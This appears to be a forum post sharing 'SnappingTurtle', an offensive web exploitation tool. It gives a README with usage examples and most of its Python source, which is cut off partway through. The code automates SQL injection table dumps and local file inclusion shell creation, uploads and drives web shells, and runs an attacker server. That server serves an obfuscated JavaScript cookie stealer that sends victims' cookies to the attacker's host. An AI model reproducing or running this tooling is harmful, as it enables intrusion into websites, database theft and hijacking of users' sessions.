Jump to content
Fi8sVrs

SnappingTutle: A Web Exploitation Tool

Recommended Posts

  • Active Members
# SnappingTurtle: A Web Exploitation Tool
A cross platform web exploitation tool written in Aphid and compiled into Python. Currently supports exploitation of PHP local file inclusion and SQL injection with more on the way.

## Command Line Arguments
python st.py [exploitation strategy] [url] [inputs]

## Exploitation Strategies

#### lfi
Local file inclusion mode. Attempts to create a shell by exploiting PHP local file inclusion. Injection is performed using the $lfi token.

#### sqli {options}
SQL injection mode. Attempts to automatically exploit SQL injection vulnerabilities by querying information schemas. Injection is performed using the $sqli token.

If used, one of two options must be specified:

*list* - Dumps a list of databases and tables.

*table {name}* - Dumps a database table.

#### xss {server ip}
Cross-site scripting mode. Currently only supports exploitation of reflected XSS via GET. Injection is performed using the $xss token.

If used, a target accessible server IP must be specified for listening.

#### upload
Arbitrary upload. Write data to the server using the -f option.

If used, at least one file must be specified using the -f option. Built-in shells can be injected using the $php token.

#### shell {shell url}
Connects to a previously created shell.

## Url
The url to exploit. Can be injected into using tokens.

## Inputs

#### -g {GET name} {GET value}
GET data in key/value format.
  
#### -p {POST name} {POST value}
POST data in key/value format.

#### --g {GET data}
GET data in Python map format.

#### --p {POST data}
POST data in Python map format.

#### -f {name} {filename} {file data}
POST data as a file.

## Examples

python st.py lfi http://localhost/lfiTest.php?theme=$lfi

python st.py lfi http://localhost/lfiTest.php -g theme $lfi

python st.py lfi http://localhost/lfiTest.php?theme=$lfi%00

python st.py lfi http://localhost/postTest.php --p "{'theme':'$lfi'}"

python st.py sqli list http://localhost/sqliTest.php -g email $sqli

python st.py sqli table sqlitest.users http://localhost/sqliTest.php -g email $sqli

python st.py xss 10.0.0.122 http://10.0.0.145/xss.php -g search $xss

python st.py upload http://10.0.0.145/upload.php -f file shell.php $php

python st.py shell http://10.0.0.145/shell.php

## Changelog

### 0.1.0324.1445
Added upload capability.

Added shell connection support.

Improved CLI output.

Flipped GET/POST pair/obj args.

Fixed SQL injection NULL bug.

Fixed bug in table printing.

Disabled urllib2 redirection.

### 0.1.0323.1150
Added support for XSS exploitation.

Several bug fixes.

### 0.1.0322.749
Added support for SQL injection.

Improved LFI exploitation support.

CLI improvements.

Several bug fixes.

### 0.1.0316.3
Initial release, supports LFI exploitation.

 

 

st.py

 

################################################################
# Compiled from Aphid to Python by Boxelder 0.5.5926.31997
# https://github.com/John-Leitch/Aphid/releases
################################################################
def var_func_00000030(___p_op_8):
    return (___p_op_8.filename)

def var_func_0000002C(___p_op_7):
    return (___p_op_7 > 1)

def var_func_0000001D(___p_op_4):
    return (___p_op_4 != "<")

def var_func_0000001C(___p_op_3):
    return (___p_op_3 != "#")

def where(predicate, list):
    x = []
    for element in list:
        if predicate(element):
            (x.append)(element)
    return x

def select(selector, list):
    x = []
    for y in list:
        (x.append)(selector(y))
    return x

def selectMany(selector, list):
    x = []
    for y in list:
        for z in selector(y):
            (x.append)(z)
    return x

def flatten(list):
    def var_func_00000000(x):
        return x

    return selectMany(var_func_00000000, list)

def any(predicate, list):
    for element in list:
        if predicate(element):
            return True
    return False

def all(predicate, list):
    for x in list:
        if not predicate(x):
            return False
    return True

def first(predicate, list):
    for x in list:
        if predicate(x):
            return x

def distinct(list):
    x = []
    for y in list:
        if not (x.__contains__)(y):
            (x.append)(y)
    return x

def iter(action, list):
    for x in list:
        action(x)

count = len
def concat(list, otherList):
    x = []
    for y in otherList:
        (x.append)(y)
    for y in list:
        (x.append)(y)
    return x

def skip(count, list):
    x = []
    i = 0
    for y in list:
        if (i >= count):
            (x.append)(y)
        i = (i + 1)
    return x

def take(count, list):
    x = []
    i = 0
    for y in list:
        if (i < count):
            (x.append)(y)
        i = (i + 1)
    return x

def aggr(acc, list):
    if (len(list) == 1):
        return list[0]
    else:
        s = list[0]
        for x in skip(1, list):
            s = acc(s, x)
        return s

def join(sep, list):
    def var_func_00000001(x, y):
        return ((x + sep) + y)

    return aggr(var_func_00000001, list)

def addAll(list):
    def var_func_00000002(x, y):
        return (x + y)

    return aggr(var_func_00000002, list)

import os.path
class File():
    @staticmethod
    def appendAllText(filename, text):
        (File.writeText)(filename, text, "a")

    @staticmethod
    def writeAllText(filename, text):
        (File.writeText)(filename, text, "w")

    @staticmethod
    def writeText(filename, text, mode):
        file = open(filename, mode)
        (file.write)(text)
        (file.close)()

    @staticmethod
    def readAllText(filename):
        file = open(filename, "r")
        r = (file.read)()
        (file.close)()
        return r

    @staticmethod
    def exists(filename):
        return ((os.path).isfile)(filename)


class CharRange():
    @staticmethod
    def __alpha(start):
        def var_func_00000003(___p_op_0):
            return (___p_op_0 + 26)

        return (lambda var_00000000:select(chr, var_00000000))(range(ord(start), var_func_00000003(ord(start))))

    @staticmethod
    def alphaLower():
        return (CharRange.__alpha)("a")

    @staticmethod
    def alphaUpper():
        return (CharRange.__alpha)("A")

    @staticmethod
    def alpha():
        return (lambda var_00000001:concat((CharRange.alphaUpper)(), var_00000001))((CharRange.alphaLower)())


import json
class JsonRepository():
    repo = None
    def __init__(self, filename):
        (self.filename) = filename
        if (self.exists)():
            (self.read)()
        else:
            (self.repo) = dict()

    def exists(self):
        return (File.exists)((self.filename))

    def read(self):
        (self.repo) = (json.loads)((File.readAllText)((self.filename)))
        if not isinstance((self.repo), dict):
            (self.repo) = dict()

    def write(self):
        (lambda var_00000002:(File.writeAllText)((self.filename), var_00000002))((json.dumps)((self.repo)))

    def add(self, key, obj):
        (self.repo)[key] = obj
        (self.write)()

    def __getitem__(self, key):
        return ((self.repo).get)(key)

    def __setitem__(self, key, value):
        (self.repo)[key] = value


class ExploitComponent():
    def log(self, message):
        print(message)


import string
class HttpRequestTemplate():
    encode = True
    def __init__(self, url, query = None, post = None, file = None):
        (self.url) = url
        (self.query) = query
        (self.post) = post
        (self.file) = file

    def getUrl(self, values):
        s = ((((string.Template)((self.url)).substitute)(values)) if ((((self.url) != None) and (values != None))) else ((((self.url)) if (((self.url) != None)) else (""))))
        return ((((s + "?") + (self.getQuery)(values))) if ((self.hasQuery)()) else (s))

    def hasQuery(self):
        return (((self.query) != None) and (len((self.query)) != 0))

    def getQuery(self, values):
        return (self.__getData)((self.query), values)

    def getPost(self, values):
        return (self.__getData)((self.post), values)

    def getFile(self, values):
        def var_func_00000004(x):
            return HttpFile(((((string.Template)((x.name)).substitute)(values)) if ((((x.name) != None) and (values != None))) else ((((x.name)) if (((x.name) != None)) else ("")))), ((((string.Template)((x.filename)).substitute)(values)) if ((((x.filename) != None) and (values != None))) else ((((x.filename)) if (((x.filename) != None)) else ("")))), ((((string.Template)((x.data)).substitute)(values)) if ((((x.data) != None) and (values != None))) else ((((x.data)) if (((x.data) != None)) else ("")))), ((((string.Template)((x.type)).substitute)(values)) if ((((x.type) != None) and (values != None))) else ((((x.type)) if (((x.type) != None)) else ("")))))

        return ((None) if (((self.file) == None)) else ((lambda var_00000003:select(var_func_00000004, var_00000003))((self.file))))

    def __getData(self, data, values):
        if (data == None):
            return None
        result = dict()
        for k in data:
            result[((((string.Template)(k).substitute)(values)) if (((k != None) and (values != None))) else (((k) if ((k != None)) else (""))))] = ((((string.Template)(data[k]).substitute)(values)) if (((data[k] != None) and (values != None))) else (((data[k]) if ((data[k] != None)) else (""))))
        return (((urllib.urlencode)(result)) if ((self.encode)) else (result))


class HttpFile():
    def __init__(self, name, filename, data, type = "text/plain"):
        (self.name) = name
        (self.filename) = filename
        (self.data) = data
        (self.type) = type


import urllib2
from urllib import addinfourl
from urllib2 import HTTPRedirectHandler
class RedirectHandler(HTTPRedirectHandler):
    def http_error_302(self, req, fp, code, msg, headers):
        x = addinfourl(fp, headers, (req.get_full_url)())
        (x.status) = code
        (x.code) = code
        return x

    http_error_300 = http_error_302
    http_error_301 = http_error_302
    http_error_303 = http_error_302
    http_error_307 = http_error_302

(urllib2.install_opener)((urllib2.build_opener)(RedirectHandler()))
from random import choice
class MultipartFormData():
    dispositionPrefix = "Content-Disposition: form-data; "
    typePrefix = "Content-Type: "
    multiPartPrefix = "multipart/form-data; boundary="
    def __init__(self):
        (self.boundary) = (self.createBoundary)()
        (self.data) = ""

    def createBoundary(self):
        def var_func_00000005(x):
            return choice((CharRange.alpha)())

        return (lambda var_00000004:join("", var_00000004))((lambda var_00000005:select(var_func_00000005, var_00000005))(range(0, 64)))

    def getBoundary(self, final = False):
        return ((("--" + (self.boundary)) + (("--") if (final) else (""))) + "\r\n")

    def addBoundary(self, final = False):
        (self.data) += (self.getBoundary)(final)

    def addDisposition(self, name, filename = None):
        (self.data) += (((self.dispositionPrefix) + ((("name=\"{}\"".format)(name)) if ((filename == None)) else (("name=\"{}\"; filename=\"{}\"".format)(name, filename)))) + "\r\n")

    def addType(self, type):
        (self.data) += (((self.typePrefix) + type) + "\r\n")

    def addLine(self, value = None):
        (self.data) += (((value) if ((value != None)) else ("")) + "\r\n")

    def addData(self, name, data):
        (self.addBoundary)()
        (self.addDisposition)(name)
        (self.addLine)()
        (self.addLine)(data)

    def addFileData(self, name, filename, type, data):
        (self.addBoundary)()
        (self.addDisposition)(name, filename)
        (self.addType)(type)
        (self.addLine)()
        (self.addLine)(data)

    def getContentType(self):
        return ((self.multiPartPrefix) + (self.boundary))

    def __str__(self):
        return ((self.data) + (self.getBoundary)(final = True))


from urlparse import parse_qs
class Http(ExploitComponent):
    contentType = "Content-Type"
    contentLength = "Content-Length"
    dataName = "name"
    dataFilename = "filename"
    dataType = "type"
    data = "data"
    @staticmethod
    def request(url, postData = None, fileData = None):
        print(("[?] %s" % url))
        if (postData != None):
            print(("    " + str(postData)))
        def var_func_00000006(x):
            return ("{{ {}, {}, {} }}".format)((x.name), (x.filename), (x.type))

        if (fileData != None):
            tup = (lambda var_00000006:join(", ", var_00000006))((lambda var_00000007:select(var_func_00000006, var_00000007))(fileData))
            print(("    " + tup))
        if (fileData == None):
            return ((urllib2.urlopen)(url, postData).read)()
        else:
            formData = (Http.createFormData)(postData, fileData)
            body = str(formData)
            req = (urllib2.Request)(url)
            (req.add_header)((Http.contentType), (formData.getContentType)())
            (req.add_header)((Http.contentLength), str(len(body)))
            (req.add_data)(body)
            return ((urllib2.urlopen)(req).read)()

    @staticmethod
    def createFormData(postData = None, fileData = None):
        formData = MultipartFormData()
        if (postData != None):
            postValues = parse_qs(postData)
            for k in (postValues.keys)():
                for v in postValues[k]:
                    (formData.addData)(k, v)
        if (fileData != None):
            for f in fileData:
                (formData.addFileData)((f.name), (f.filename), (f.type), (f.data))
        return formData


class Payload():
    def __init__(self, value):
        (self.value) = value

    def inject(self, target):
        return (((target % (self.value))) if ((target.__contains__)("%s")) else (target))

    def injectData(self, target):
        if (target == None):
            return None
        data = dict()
        for k in target:
            v = target[k]
            data[(self.inject)(k)] = (self.inject)(v)
        return data


class Injection():
    def __init__(self, begin, end, nextExpression):
        (self.begin) = begin
        (self.end) = end
        (self.nextExpression) = nextExpression

    def __str__(self):
        return (((self.begin) + (self.nextExpression)()) + (self.end))


from random import randint
class Shell(ExploitComponent):
    def __init__(self, createUrl, createPost = None):
        (self.createUrl) = createUrl
        (self.createPost) = createPost

    def run(self, cmd):
        u = (self.createUrl)(cmd)
        p = (((self.createPost)(cmd)) if (((self.createPost) != None)) else (None))
        resp = (Http.request)(u, p)
        return resp

    @staticmethod
    def get(url):
        def var_func_00000007(cmd):
            return ((url + "?") + (urllib.urlencode)({"cmd": cmd}))

        return Shell(var_func_00000007)

    @staticmethod
    def post(url):
        def var_func_00000008(cmd):
            return url

        def var_func_00000009(cmd):
            return (urllib.urlencode)({"cmd": cmd})

        return Shell(var_func_00000008, var_func_00000009)

    @staticmethod
    def open(url):
        print("[i] Detecting shell input")
        probe = str(randint(268435456, 4294967295))
        probeCmd = ("echo %s" % probe)
        for f in [(Shell.post), (Shell.get)]:
            shell = f(url)
            result = (shell.run)(probeCmd)
            if (result.__contains__)(probe):
                print("[+] Shell input found")
                return shell
        print("[x] Could not find shell input")
        return None


class ExploitEncoding():
    key = [60, 159, 224, 114, 159, 230, 216, 94, 23, 190, 168, 12, 209, 198, 188, 191, 168, 255, 194, 242, 72, 124, 255, 231, 185, 153, 101, 80, 37, 111, 29, 106, 235, 199, 163, 78, 229, 209, 45, 102, 0, 23, 6, 208, 65, 8, 227, 181, 197, 44, 228, 1, 121, 189, 83, 192, 159, 248, 184, 5, 129, 136, 57, 167, 160, 62, 33, 9, 35, 109, 218, 214, 210, 92, 242, 49, 117, 47, 166, 177, 182, 175, 139, 248, 139, 27, 241, 46, 116, 226, 175, 237, 25, 39, 228, 120, 222, 94, 48, 3, 231, 217, 146, 88, 82, 13, 46, 28, 202, 34, 74, 112, 82, 7, 78, 209, 252, 64, 28, 132, 77, 242, 149, 64, 189, 236, 189, 170, 119, 122, 83, 23, 255, 162, 201, 221, 29, 51, 165, 125, 237, 212, 100, 81, 151, 63, 155, 17, 216, 19, 123, 157, 66, 171, 182, 245, 67, 81, 154, 102, 79, 131, 165, 80, 207, 51, 113, 175, 62, 113, 180, 201, 154, 158, 151, 120, 142, 67, 168, 126, 81, 172, 210, 100, 254, 181, 213, 83, 236, 212, 153, 203, 152, 63, 46, 105, 46, 19, 130, 100, 206, 235, 211, 103, 94, 178, 2, 163, 19, 61, 103, 0, 169, 28, 20, 163, 177, 65, 82, 25, 94, 29, 195, 105, 216, 233, 48, 91, 112, 45, 73, 122, 192, 68, 175, 101, 217, 106, 5, 76, 179, 49, 64, 174, 109, 153, 33, 124, 43, 138, 183, 237, 193, 105, 5, 177, 39, 105, 143, 116, 130, 167, 51, 229, 244, 236, 63, 100, 109, 174, 202, 71, 59, 5, 101, 44, 220, 21, 252, 63, 199, 180, 48, 229, 117, 92, 185, 87, 62, 254, 61, 111, 219, 144, 201, 12, 254, 90, 185, 128, 89, 189, 15, 124, 192, 112, 177, 187, 3, 216, 212, 18, 108, 80, 173, 206, 119, 77, 111, 151, 50, 231, 37, 110, 113, 90, 107, 170, 60, 89, 46, 130, 91, 123, 229, 10, 164, 180, 37, 5, 170, 253, 84, 102, 41, 43, 3, 138, 227, 251, 148, 177, 234, 34, 77, 114, 151, 160, 10, 102, 4, 7, 127, 169, 170, 82, 182, 240, 106, 162, 41, 195, 40, 106, 237, 53, 147, 191, 69, 69, 87, 224, 199, 64, 197, 125, 151, 57, 45, 115, 114, 4, 169, 191, 0, 163, 126, 170, 188, 215, 116, 18, 32, 64, 210, 209, 136, 128, 52, 24, 222, 216, 91, 196, 14, 35, 64, 62, 228, 44, 187, 125, 194, 247, 48, 36, 25, 105, 106, 73, 182, 233, 3, 109, 209, 68, 192, 134, 110, 243, 244, 22, 4, 21, 148, 154, 169, 228, 176, 220, 99, 63, 197, 143, 28, 246, 79, 40, 16, 173, 183, 31, 22, 235, 98, 245, 212, 237, 243, 202, 99, 185, 208, 241, 56, 164, 121, 173, 98, 149, 123, 53, 184, 141, 230, 119, 35, 115, 81, 218, 244, 152, 117, 193, 59, 212, 0, 25, 178, 159, 197, 187, 240, 230, 121, 169, 111, 212, 86, 119, 125, 161]
    @staticmethod
    def decode(value):
        i = 0
        decoded = ""
        for x in value:
            decoded += chr((ord(x) ^ (ExploitEncoding.key)[i]))
            i = (i + 1)
            if (i == len((ExploitEncoding.key))):
                i = 0
        return decoded


from urlparse import urlparse, parse_qs
from BaseHTTPServer import BaseHTTPRequestHandler
class ExploitRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        uri = urlparse((self.path))
        rsrc = (self.getFile)((uri.path))
        query = parse_qs((uri.query))
        print(("[i] Path: %s" % (self.path)))
        print(("[i] Resource: %s" % rsrc))
        print(("[i] Referer: %s" % (self.getReferer)()))
        print(("[i] IP: {}:{}".format)((self.getIP)(), (self.getPort)()))
        hasContent = ((rsrc != None) and (rsrc != ""))
        if ((query != None) and (query != "")):
            (self.handleQuery)()
        else:
            if hasContent:
                (self.handleResource)()
        code = ((200) if ((((uri.query) != "") or hasContent)) else (404))
        (self.send_response)(code)
        (self.send_header)("Access-Control-Allow-Origin", "*")
        (self.end_headers)()
        if hasContent:
            ((self.wfile).write)(rsrc)
        print("")

    def log_message(self, a = None, b = None, c = None, d = None, e = None, f = None, g = None, h = None, i = None, j = None, k = None, l = None, m = None, n = None, o = None, p = None):
        0

    def handleQuery(self):
        print(("[i] Message: %s" % (self.getMsg)()))

    def handleResource(self, rsrc):
        (self.send_header)("Content-type", "text/javascript")

    def getIP(self):
        return (self.client_address)[0]

    def getPort(self):
        return (self.client_address)[1]

    def getUrl(self):
        return urlparse((self.path))

    def getQuery(self):
        return parse_qs(((self.getUrl)().query))

    def getMsg(self):
        q = (self.getQuery)()
        keys = (q.keys)()
        return (((ExploitEncoding.decode)(q[keys[0]][0])) if ((len(keys) != 0)) else (None))

    def getReferer(self):
        def var_func_0000000A(r):
            return ((r[0]) if ((len(r) != 0)) else (None))

        return var_func_0000000A(((self.headers).getheaders)("referer"))

    def getFile(self, path):
        if (len(path) == 0):
            return None
        name = path[1:]
        text = (((self.server).payloads).get)(name)
        return text


class ExploitResource():
    @staticmethod
    def getScriptTag(host, port, name):
        return ("<script src=\"http://{}{}/{}\" type=\"text/javascript\"></script>".format)(host, (((":" + str(port))) if (((port != None) and (port != ""))) else ("")), name)

    @staticmethod
    def getJsCookieStealer(host, port):
        return (("\r\n        // Todo: generate key and store in repo\r\n        var key = [0x3C,0x9F,0xE0,0x72,0x9F,0xE6,0xD8,0x5E,0x17,0xBE,0xA8,0x0C,0xD1,0xC6,0xBC,0xBF,0xA8,0xFF,0xC2,0xF2,0x48,0x7C,0xFF,0xE7,0xB9,0x99,0x65,0x50,0x25,0x6F,0x1D,0x6A,0xEB,0xC7,0xA3,0x4E,0xE5,0xD1,0x2D,0x66,0x00,0x17,0x06,0xD0,0x41,0x08,0xE3,0xB5,0xC5,0x2C,0xE4,0x01,0x79,0xBD,0x53,0xC0,0x9F,0xF8,0xB8,0x05,0x81,0x88,0x39,0xA7,0xA0,0x3E,0x21,0x09,0x23,0x6D,0xDA,0xD6,0xD2,0x5C,0xF2,0x31,0x75,0x2F,0xA6,0xB1,0xB6,0xAF,0x8B,0xF8,0x8B,0x1B,0xF1,0x2E,0x74,0xE2,0xAF,0xED,0x19,0x27,0xE4,0x78,0xDE,0x5E,0x30,0x03,0xE7,0xD9,0x92,0x58,0x52,0x0D,0x2E,0x1C,0xCA,0x22,0x4A,0x70,0x52,0x07,0x4E,0xD1,0xFC,0x40,0x1C,0x84,0x4D,0xF2,0x95,0x40,0xBD,0xEC,0xBD,0xAA,0x77,0x7A,0x53,0x17,0xFF,0xA2,0xC9,0xDD,0x1D,0x33,0xA5,0x7D,0xED,0xD4,0x64,0x51,0x97,0x3F,0x9B,0x11,0xD8,0x13,0x7B,0x9D,0x42,0xAB,0xB6,0xF5,0x43,0x51,0x9A,0x66,0x4F,0x83,0xA5,0x50,0xCF,0x33,0x71,0xAF,0x3E,0x71,0xB4,0xC9,0x9A,0x9E,0x97,0x78,0x8E,0x43,0xA8,0x7E,0x51,0xAC,0xD2,0x64,0xFE,0xB5,0xD5,0x53,0xEC,0xD4,0x99,0xCB,0x98,0x3F,0x2E,0x69,0x2E,0x13,0x82,0x64,0xCE,0xEB,0xD3,0x67,0x5E,0xB2,0x02,0xA3,0x13,0x3D,0x67,0x00,0xA9,0x1C,0x14,0xA3,0xB1,0x41,0x52,0x19,0x5E,0x1D,0xC3,0x69,0xD8,0xE9,0x30,0x5B,0x70,0x2D,0x49,0x7A,0xC0,0x44,0xAF,0x65,0xD9,0x6A,0x05,0x4C,0xB3,0x31,0x40,0xAE,0x6D,0x99,0x21,0x7C,0x2B,0x8A,0xB7,0xED,0xC1,0x69,0x05,0xB1,0x27,0x69,0x8F,0x74,0x82,0xA7,0x33,0xE5,0xF4,0xEC,0x3F,0x64,0x6D,0xAE,0xCA,0x47,0x3B,0x05,0x65,0x2C,0xDC,0x15,0xFC,0x3F,0xC7,0xB4,0x30,0xE5,0x75,0x5C,0xB9,0x57,0x3E,0xFE,0x3D,0x6F,0xDB,0x90,0xC9,0x0C,0xFE,0x5A,0xB9,0x80,0x59,0xBD,0x0F,0x7C,0xC0,0x70,0xB1,0xBB,0x03,0xD8,0xD4,0x12,0x6C,0x50,0xAD,0xCE,0x77,0x4D,0x6F,0x97,0x32,0xE7,0x25,0x6E,0x71,0x5A,0x6B,0xAA,0x3C,0x59,0x2E,0x82,0x5B,0x7B,0xE5,0x0A,0xA4,0xB4,0x25,0x05,0xAA,0xFD,0x54,0x66,0x29,0x2B,0x03,0x8A,0xE3,0xFB,0x94,0xB1,0xEA,0x22,0x4D,0x72,0x97,0xA0,0x0A,0x66,0x04,0x07,0x7F,0xA9,0xAA,0x52,0xB6,0xF0,0x6A,0xA2,0x29,0xC3,0x28,0x6A,0xED,0x35,0x93,0xBF,0x45,0x45,0x57,0xE0,0xC7,0x40,0xC5,0x7D,0x97,0x39,0x2D,0x73,0x72,0x04,0xA9,0xBF,0x00,0xA3,0x7E,0xAA,0xBC,0xD7,0x74,0x12,0x20,0x40,0xD2,0xD1,0x88,0x80,0x34,0x18,0xDE,0xD8,0x5B,0xC4,0x0E,0x23,0x40,0x3E,0xE4,0x2C,0xBB,0x7D,0xC2,0xF7,0x30,0x24,0x19,0x69,0x6A,0x49,0xB6,0xE9,0x03,0x6D,0xD1,0x44,0xC0,0x86,0x6E,0xF3,0xF4,0x16,0x04,0x15,0x94,0x9A,0xA9,0xE4,0xB0,0xDC,0x63,0x3F,0xC5,0x8F,0x1C,0xF6,0x4F,0x28,0x10,0xAD,0xB7,0x1F,0x16,0xEB,0x62,0xF5,0xD4,0xED,0xF3,0xCA,0x63,0xB9,0xD0,0xF1,0x38,0xA4,0x79,0xAD,0x62,0x95,0x7B,0x35,0xB8,0x8D,0xE6,0x77,0x23,0x73,0x51,0xDA,0xF4,0x98,0x75,0xC1,0x3B,0xD4,0x00,0x19,0xB2,0x9F,0xC5,0xBB,0xF0,0xE6,0x79,0xA9,0x6F,0xD4,0x56,0x77,0x7D,0xA1];\r\n        \r\n        var alphaNum = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\r\n        var nextInt = function(max) { return Math.floor(Math.random() * max); };\r\n        var nextChar = function() { return alphaNum[nextInt(alphaNum.length)]; };\r\n        \r\n        var nextName = function() {\r\n            var len = nextInt(0x10);\r\n            var name = \"\";\r\n            for (var i = 0; i < len; i++) name += nextChar();\r\n            \r\n            return name;\r\n        };\r\n        \r\n        var applyKey = function(value, key, apply) {\r\n            var keyIndex = 0;\r\n            var applied = \"\";\r\n            \r\n            for (var i = 0; i < value.length; i++) {\r\n                applied += apply(value.charCodeAt(i), key[keyIndex]);\r\n                if (++keyIndex == key.length) keyIndex = 0;\r\n            }\r\n            \r\n            return applied;\r\n        };\r\n        \r\n        var encode = function(value, key) {\r\n            return applyKey(value, key, function(v, k) {\r\n                return String.fromCharCode(v ^ k);\r\n            });            \r\n        };\r\n    \r\n        var xhr = window.XMLHttpRequest ? \r\n            new XMLHttpRequest() : \r\n            new ActiveXObject(\"Microsoft.XMLHTTP\");\r\n            \r\n        var sendValue = function(v) {\r\n            var k = nextName();\r\n            var qs = k + \"=\" + escape(encode(v, key));\r\n            xhr.open(\"GET\", \"http://{host}:{port}/?\" + qs, true);\r\n            xhr.onreadystatechange = function (e) {\r\n                if (xhr.readyState == 4 && xhr.status != 200) {\r\n                    console.log(xhr.statusText);\r\n                }\r\n            }; \r\n            xhr.send();            \r\n        };\r\n        \r\n        try {\r\n            sendValue(\"Cookie => \" + document.cookie);\r\n        } catch (err) { alert(err); }\r\n    ".replace)("{host}", host).replace)("{port}", str(port))


from random import randint, choice
from BaseHTTPServer import HTTPServer
class ExploitServerConfig():
    portKey = "port"
    cookieStealerKey = "cookieStealer"
    alpha = (CharRange.alpha)()
    serverRepo = JsonRepository("server.json")
    @staticmethod
    def nextPort():
        return randint(49152, 65535)

    @staticmethod
    def nextName():
        def var_func_0000000B(x):
            return choice((ExploitServerConfig.alpha))

        return (lambda var_00000008:join("", var_00000008))((lambda var_00000009:select(var_func_0000000B, var_00000009))(range(0, randint(4, 16))))

    @staticmethod
    def getPort():
        def var_func_0000000C():
            return (ExploitServerConfig.serverRepo)[(ExploitServerConfig.portKey)]

        return (ExploitServerConfig.getValue)(var_func_0000000C)

    @staticmethod
    def getCookieStealer():
        def var_func_0000000D():
            return (ExploitServerConfig.serverRepo)[(ExploitServerConfig.cookieStealerKey)]

        return (ExploitServerConfig.getValue)(var_func_0000000D)

    @staticmethod
    def getValue(f):
        (ExploitServerConfig.ensure)()
        return f()

    @staticmethod
    def ensure():
        if ((ExploitServerConfig.serverRepo)[(ExploitServerConfig.portKey)] == None):
            (ExploitServerConfig.generate)()

    @staticmethod
    def generate():
        (ExploitServerConfig.serverRepo)[(ExploitServerConfig.portKey)] = (ExploitServerConfig.nextPort)()
        (ExploitServerConfig.serverRepo)[(ExploitServerConfig.cookieStealerKey)] = (ExploitServerConfig.nextName)()
        ((ExploitServerConfig.serverRepo).write)()


class XssExploit():
    def __init__(self, server, tmpl):
        (self.server) = server
        (self.tmpl) = tmpl

    def __str__(self):
        if (((tmpl.post) != None) and (len((tmpl.post)) > 0)):
            print("[X] POST XSS not yet supported")
            quit()
        return (tmpl.getUrl)({"xss": ((self.server).scriptTag)})


class ExploitServer(ExploitComponent):
    port = (ExploitServerConfig.getPort)()
    cookieStealer = (ExploitServerConfig.getCookieStealer)()
    def __init__(self, ip):
        (self.ip) = ip
        endpoint = (self.ip), (self.port)
        (self.server) = HTTPServer(endpoint, ExploitRequestHandler)
        ((self.server).payloads) = dict()
        ((self.server).payloads)[(self.cookieStealer)] = (ExploitResource.getJsCookieStealer)((self.ip), (self.port))
        (self.scriptTag) = (ExploitResource.getScriptTag)((self.ip), (self.port), (self.cookieStealer))

    def createExploit(self, tmpl):
        return str(XssExploit(self, tmpl))

    def serveForever(self):
        (self.log)(("[?] Listening on {}:{}".format)((self.ip), (self.port)))
        ((self.server).serve_forever)()


class SqlEmitter():
    alpha = (CharRange.alpha)()
    def getChars(self):
        def var_func_0000000E(___p_op_1):
            return (___p_op_1 != (self.quote)())

        return (lambda var_0000000A:select(chr, var_0000000A))((lambda var_0000000B:where(var_func_0000000E, var_0000000B))(range(32, 128)))

    def tup(self, vals):
        def var_func_0000000F(x, y):
            return (((x + ",") + (self.space)()) + y)

        return (lambda var_0000000C:aggr(var_func_0000000F, var_0000000C))(vals)

    def words(self, words):
        def var_func_00000010(x, y):
            return ((x + (self.space)()) + y)

        return (lambda var_0000000D:aggr(var_func_00000010, var_0000000D))(words)

    def space(self):
        return " "

    def quote(self):
        return "'"

    def junkCharRange(self):
        def var_func_00000011(x):
            return choice((self.alpha))

        return (lambda var_0000000E:join("", var_0000000E))((lambda var_0000000F:select(var_func_00000011, var_0000000F))((lambda var_00000010:range(0, var_00000010))(randint(8, 32))))

    def junkString(self):
        return ("{1}{0}{1}".format)((self.junkCharRange)(), (self.quote)())

    def unionAll(self, cols):
        return (self.words)(["UNION", "SELECT", "ALL", (self.tup)(cols)])

    def comment(self):
        return "#"


class SqlUnionOutputInfo():
    def __init__(self, begin, end, columnCount, columnNumber):
        (self.begin) = begin
        (self.end) = end
        (self.columnCount) = columnCount
        (self.columnNumber) = columnNumber


class SqlUnionProbe(ExploitComponent):
    emitter = SqlEmitter()
    output = None
    begins = ["'", "\"", "-1 ", "0 ", ""]
    ends = ["#", "--", ""]
    def __init__(self, httpTemplate, maxColumns = 32):
        (self.httpTemplate) = httpTemplate
        (self.maxColumns) = maxColumns

    def findOutput(self):
        (self.emitter) = SqlEmitter()
        columns = 0
        (self.log)("[?] Searching for union count and output")
        def var_func_00000012(x):
            return ((self.emitter).junkString)()

        def var_func_00000013(x):
            return ((x.lstrip)(quote).rstrip)(quote)

        def var_func_00000014(___p_op_2):
            return (___p_op_2 != 0)

        while True:
            columns = (columns + 1)
            for begin in (self.begins):
                for end in (self.ends):
                    cols = (lambda var_00000011:select(var_func_00000012, var_00000011))(range(0, columns))
                    quote = cols[0][0]
                    colVals = (lambda var_00000012:select(var_func_00000013, var_00000012))(cols)
                    resp = (self.sendRequest)((self.createInjection)(begin, end, cols))
                    matches = (lambda var_00000013:where((resp.__contains__), var_00000013))(colVals)
                    if var_func_00000014(len(matches)):
                        offset = (colVals.index)(matches[0])
                        msg = ("\r\n[+] Output found: Columns={}, Offset={}\r\n".format)(columns, offset)
                        (self.log)(msg)
                        return SqlUnionOutputInfo(begin, end, columns, offset)
            if (columns >= (self.maxColumns)):
                return None

    def inject(self, columns, table, where = None):
        def hasOutput():
            return ((self.output) != None)

        if not hasOutput():
            (self.output) = (self.findOutput)()
        if not hasOutput():
            (self.log)("[X] Could not find output for injection\r\n")
            return None
        injector = SqlUnionInjector({"HOST": "localhost", "PORT": 80}, ((self.output).columnCount), ((self.output).columnNumber), columns, table, delimiter = ((self.output).begin), where = where, terminator = ((self.output).end))
        (injector.payload) = (injector.dump)
        resp = (self.sendRequest)((injector.str)())
        return (injector.finalize)(resp)

    def parseSchema(self, schemas):
        if (schemas == None):
            return None
        def var_func_00000015(x):
            return x[0]

        d = distinct((lambda var_00000014:select(var_func_00000015, var_00000014))(schemas))
        dbs = dict()
        def var_func_00000016(y):
            return y[1]

        def var_func_00000017(y):
            return (x == y[0])

        for x in d:
            dbs[x] = (lambda var_00000015:select(var_func_00000016, var_00000015))((lambda var_00000016:where(var_func_00000017, var_00000016))(schemas))
        return dbs

    def listSchemas(self):
        return (self.parseSchema)((self.inject)(["TABLE_SCHEMA", "TABLE_NAME"], "INFORMATION_SCHEMA.Tables"))

    def listColumns(self, schema, table):
        (self.log)("[?] Querying information schema for column names")
